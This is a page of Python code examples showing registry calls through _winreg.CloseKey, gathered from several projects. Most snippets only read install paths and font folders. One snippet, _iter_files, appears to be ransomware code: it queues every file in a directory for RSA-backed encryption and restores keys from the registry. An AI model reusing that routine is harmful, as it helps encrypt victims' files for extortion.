Python _winreg.CloseKey方法代码示例

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def flush(self):
        """Ensure that the key's data is flushed to disk.

        Quoting the _winreg documentation:

          It is not necessary to call FlushKey() to change a key. Registry
          changes are flushed to disk by the registry using its lazy flusher.
          Registry changes are also flushed to disk at system shutdown. 
          Unlike CloseKey(), the FlushKey() method returns only when all the
          data has been written to the registry. An application should only
          call FlushKey() if it requires absolute certainty that registry
          changes are on disk.

          If you don't know whether a FlushKey() call is required, it
          probably isn't.

        """
        _winreg.FlushKey(self.hkey) 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def readKey(self, hkey, key_name, value_name = '', ignore_errors = False):
        if sys.platform != 'win32':
            return None
        try:
            if DEBUG:
                print >> sys.stderr, 'win32regcheck: Opening', key_name, value_name
            full_key = _winreg.OpenKey(hkey, key_name, 0, _winreg.KEY_READ)
            if DEBUG:
                print >> sys.stderr, 'win32regcheck: Open returned', full_key
            value_data, value_type = _winreg.QueryValueEx(full_key, value_name)
            if DEBUG:
                print >> sys.stderr, 'win32regcheck: Read', value_data, value_type
            _winreg.CloseKey(full_key)
            return value_data
        except:
            if not ignore_errors:
                print_exc(file=sys.stderr)
                print_stack()
            return None 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def _get_install_path():
		"""
		Returns installation path from registry.
		Available only on Windows
		"""
		if is_portable():
			return os.environ["XDG_CONFIG_HOME"]
		try:
			key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "Software\\SyncthingGTK")
			path, keytype = _winreg.QueryValueEx(key, "InstallPath")
			path = str(path)
			_winreg.CloseKey(key)
			return path
		except WindowsError:
			# This is really shouldn't happen. Use executable path.
			os.path.dirname(sys.executable) 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def __init__(self):
        self.hkey={}
        for key in (k for k in dir(reg) if k.startswith('HKEY_')):
            try:
                chk = reg.ConnectRegistry(None, getattr(reg, key))
                inf = reg.QueryInfoKey(chk)
                reg.CloseKey(chk)
            except WindowsError: pass           # some keys may appear in _winreg but can't be reached
            else:
                hk = Hkey(key)
                try:
                    chk=hk.keys
                except WindowsError: pass       # some keys can be accessed but not enumerated
                else:                           # some keys work fine ...
                    name=key[5:].lower()
                    self.hkey[name]=hk          # for iterating
                    setattr(self, name, hk)     # for easy access 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def _read_registry(root,key,value):
    if _is_py2:
        import _winreg as winreg
    else:
        import winreg
    try:
        hkey = winreg.OpenKey(root, key)
    except:
        return None
    try:
        (val, typ) = winreg.QueryValueEx(hkey, value)
    except:
        winreg.CloseKey(hkey)
        return None
    winreg.CloseKey(hkey)
    return val 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def get_win32_executable():
    if PY3:
        import winreg
    else:
        import _winreg as winreg
    reg = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE)
    try:
        key = winreg.OpenKey(reg, 'SOFTWARE\\VMware, Inc.\\VMware Workstation')
        try:
            return os.path.join(winreg.QueryValueEx(key, 'InstallPath')[0], 'vmrun.exe')
        finally:
            winreg.CloseKey(key)
    except WindowsError:
        key = winreg.OpenKey(reg, 'SOFTWARE\\WOW6432Node\\VMware, Inc.\\VMware Workstation')
        try:
            return os.path.join(winreg.QueryValueEx(key, 'InstallPath')[0], 'vmrun.exe')
        finally:
            winreg.CloseKey(key)
    finally:
        reg.Close()
    return get_fallback_executable() 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def registry_key(key, subkey, value):
    """
    Create a new Windows Registry Key in HKEY_CURRENT_USER

    `Required`
    :param str key:         primary registry key name
    :param str subkey:      registry key sub-key name
    :param str value:       registry key sub-key value

    Returns True if successful, otherwise False

    """
    try:
        import _winreg
        reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key, 0, _winreg.KEY_WRITE)
        _winreg.SetValueEx(reg_key, subkey, 0, _winreg.REG_SZ, value)
        _winreg.CloseKey(reg_key)
        return True
    except Exception as e:
        log(e)
        return False 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def _iter_files(rsa_key, base_dir=None):
    try:
        if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
            if base_dir:
                if os.path.isdir(base_dir):
                    return os.path.walk(base_dir, lambda _, dirname, files: [globals()['tasks'].put_nowait((encrypt_file, (os.path.join(dirname, filename), rsa_key))) for filename in files], None)
                else:
                    util.log("Target directory '{}' not found".format(base_dir))
            else:
                cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key)
                reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, globals()['registry_key'], 0, _winreg.KEY_READ)
                i = 0
                while True:
                    try:
                        filename, key, _ = _winreg.EnumValue(reg_key, i)
                        key = cipher.decrypt(base64.b64decode(key))
                        globals()['tasks'].put_nowait((decrypt_file, (filename, key)))
                        i += 1
                    except:
                        _winreg.CloseKey(reg_key)
                        break
    except Exception as e:
        util.log('{} error: {}'.format(_iter_files.__name__, str(e))) 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def uninstall_all():
    """uninstalls PyXLL from all installed Excel versions"""
    for wow64_flags in (winreg.KEY_WOW64_64KEY, winreg.KEY_WOW64_32KEY):
        for root in _root_keys.keys():
            try:
                flags = wow64_flags | winreg.KEY_READ
                office_root = winreg.OpenKey(root, r"Software\Microsoft\Office", 0, flags)
            except WindowsError:
                continue

            # look for all installed versions of Excel and uninstall PyXLL
            i = 0
            while True:
                try:
                    subkey = winreg.EnumKey(office_root, i)
                except WindowsError:
                    break

                match = re.match("^(\d+(?:\.\d+)?)$", subkey)
                if match:
                    office_version = match.group(1)
                    uninstall(office_root, office_version, wow64_flags)
                i += 1

            winreg.CloseKey(office_root) 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def win32FontDirectory( ):
    """Get User-specific font directory on Win32"""
    try:
        import _winreg
    except ImportError:
        return os.path.join(os.environ['WINDIR'], 'Fonts')
    else:
        k = _winreg.OpenKey(
            _winreg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
        )
        try:
            # should check that k is valid? How?
            return _winreg.QueryValueEx( k, "Fonts" )[0]
        finally:
            _winreg.CloseKey( k ) 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def GetInnoCompilerPath():
    try:
        key = _winreg.OpenKey(
            _winreg.HKEY_LOCAL_MACHINE,
            (
                "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\"
                "Uninstall\\Inno Setup 5_is1"
            )
        )
        installPath = _winreg.QueryValueEx(key, "InstallLocation")[0]
        _winreg.CloseKey(key)
    except WindowsError:
        return None
    installPath = join(installPath, "ISCC.exe")
    if not exists(installPath):
        return None
    return installPath 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def MyComputer(self):
        mc_reg = None
        try:
            mc_reg = _winreg.OpenKey(
                _winreg.HKEY_CLASSES_ROOT,
                "CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
            )
            value, type = _winreg.QueryValueEx(mc_reg, "LocalizedString")
            dll = os.path.split(value.split(",")[0][1:])[1]
            index = -1*int(value.split(",")[1])
            myComputer = LoadString(LoadLibrary(dll), index)
        except:
            myComputer = self.text.myComp
        if mc_reg:
            _winreg.CloseKey(mc_reg)
        return myComputer 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def GetMpcHcPath(self):
        """
        Get the path of MPC-HC's installation directory through querying
        the Windows registry.
        """
        try:
            if "PROCESSOR_ARCHITEW6432" in environ:
                args = [_winreg.HKEY_CURRENT_USER,
                    "Software\MPC-HC\MPC-HC"]
                args.extend((0, _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY))
            else:
                args = [_winreg.HKEY_CURRENT_USER,
                    "Software\Gabest\Media Player Classic"]
            mpc = _winreg.OpenKey(*args)
            mpcPath =_winreg.QueryValueEx(mpc, "ExePath")[0]
            _winreg.CloseKey(mpc)
        except WindowsError:
            mpcPath = None
        return mpcPath 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def RunEmailClient(text):
    """Get the path of default email client through querying the
        Windows registry. """
    try:
        em_reg = _winreg.OpenKey(
            _winreg.HKEY_CLASSES_ROOT,
            "\\mailto\\shell\\open\\command"
        )
        EmPath = _winreg.EnumValue(em_reg,0)[1]
        _winreg.CloseKey(em_reg)
        EmPath = EmPath.split('"')[1]
    except:
        eg.PrintError(text.error9)
    else:
        head, tail = os.path.split(EmPath)
        win32api.ShellExecute(
            0,
            None,
            tail,
            None,
            head,
            1
        )
#=============================================================================== 

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def get_system_fontdirs():
    """
    The function detects system font directories according to detected 
    system type.
    """
    if system.get_os_family() == system.LINUX:
        home = os.path.expanduser('~')
        return ['/usr/share/fonts', os.path.join(home, '.fonts')]
    if system.get_os_family() == system.WINDOWS:
        try:
            import _winreg
        except ImportError:
            return [os.path.join(os.environ['WINDIR'], 'Fonts'), ]
        else:
            k = _winreg.OpenKey(
                _winreg.HKEY_CURRENT_USER,
                r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
            )
            try:
                return [_winreg.QueryValueEx(k, "Fonts")[0], ]
            finally:
                _winreg.CloseKey(k)
    if system.get_os_family() == system.MACOSX:
        # FIXME: It's a stub. The paths should be more exact.
        return ['/', ]